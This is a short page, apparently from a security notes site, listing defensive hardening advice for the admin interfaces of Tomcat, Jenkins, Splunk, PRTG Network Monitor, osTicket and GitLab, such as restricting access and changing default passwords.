Disable, hide, or move the admin login page

Tomcat

Access controls

Limit access to the Tomcat Manager and Host-Manager applications to only localhost. If these must be exposed externally, enforce IP whitelisting and set a very strong password and non-standard username.

Jenkins

Access controls

Configure permissions using the Matrix Authorization Strategy plugin

Splunk

Regular updates

Make sure to change the default password and ensure that Splunk is properly licensed to enforce authentication

PRTG Network Monitor

Secure authentication

Make sure to stay up-to-date and change the default PRTG password

osTicket

Access controls

Limit access from the internet if possible

GitLab

Secure authentication

Enforce sign-up restrictions such as requiring admin approval for new sign-ups, configuring allowed and denied domains

PreviousThick Client ApplicationsNextPrivilege Escalation

Last updated